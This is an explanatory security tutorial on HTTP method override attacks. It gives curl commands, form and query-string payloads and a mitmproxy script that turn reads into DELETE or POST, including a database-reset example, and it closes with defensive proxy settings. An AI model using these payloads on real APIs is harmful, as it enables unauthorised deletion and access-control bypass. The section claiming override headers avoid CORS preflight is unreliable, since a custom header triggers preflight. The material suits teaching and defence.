REST APIs rely on a simple convention — the HTTP method tells the server what to do with a resource. GET reads, POST creates, PUT overwrites, DELETE removes. The problem starts when an attacker overrides the method in flight and turns a read into a delete.

How to Override the Method

X-HTTP-Method-Override Header

You send POST, but the header tells the server to treat the request as a different method:

curl -X POST https://api.example.com/users/42 \
  -H "X-HTTP-Method-Override: DELETE"

The server receives POST, but the application interprets it as DELETE. User 42 is gone.

Header variants — different servers read different names:

X-Method-Override: PUT
X-HTTP-Method: PATCH

This mechanism exists for practical reasons — older browsers and firewalls only allowed GET and POST. To send DELETE from an HTML form, you had to wrap it in a POST with an extra header.

Query String Parameter

POST /users/42?_method=DELETE
POST /users/42?method=PUT

Hidden HTML Form Field

<form method="POST" action="/users/42">
  <input type="hidden" name="_method" value="DELETE">
  <button type="submit">Delete</button>
</form>

Direct Override via Proxy

Burp Suite, mitmproxy, Zap — intercept the request and change the method before it reaches the server:

GET /api/users/42 HTTP/1.1

Changed to:

DELETE /api/users/42 HTTP/1.1

A mitmproxy script for automatic method override:

from mitmproxy import http

def request(flow: http.HTTPFlow):
    if flow.request.path.startswith("/api/users"):
        flow.request.method = "DELETE"

Consequences

WAF Bypass

Typical scenario — a WAF filters requests by HTTP method:

# WAF rule: block DELETE on /api/users/*
if method == "DELETE" and path matches "/api/users/*":
    block()

The attacker sends:

curl -X POST https://api.example.com/api/users/42 \
  -H "X-HTTP-Method-Override: DELETE"

The WAF sees POST — lets it through. The application sees DELETE — deletes the user.

CORS Bypass

Browsers send a preflight (OPTIONS) request only for PUT, DELETE, and PATCH methods. GET and POST go through without preflight when using simple headers.

POST with X-HTTP-Method-Override: DELETE — the browser won’t send a preflight because POST is “safe.” The server executes DELETE.

Rate Limit Bypass

The rate limiter counts requests per method:

GET /api/data — limit 100/min
POST /api/data — limit 10/min

GET with X-HTTP-Method-Override: POST — the rate limiter sees GET (high limit), the application processes POST.

Cache Poisoning

A reverse proxy (Varnish, CDN) caches GET responses. The attacker sends:

curl -X GET https://api.example.com/users/42 \
  -H "X-HTTP-Method-Override: DELETE"

The proxy caches it as GET, the backend executes DELETE. Subsequent users get the cached response for a request that deleted the resource.

Turning GET into POST

curl -X GET "https://api.example.com/admin/reset-db" \
  -H "X-HTTP-Method-Override: POST"

If /admin/reset-db responds to POST — GET with override will execute that action.

How to Defend

The simplest approach — disable method override. Modern browsers and HTTP clients support all methods, so the POST workaround is no longer needed.

If override must stay — two rules:

  • only allow override from POST (never from GET — GET should never have side effects)
  • don’t rely on the HTTP method for access control — check permissions per action, not per method

At the reverse proxy level, strip override headers before they reach the backend:

proxy_set_header X-HTTP-Method-Override "";
proxy_set_header X-Method-Override "";
proxy_set_header X-HTTP-Method "";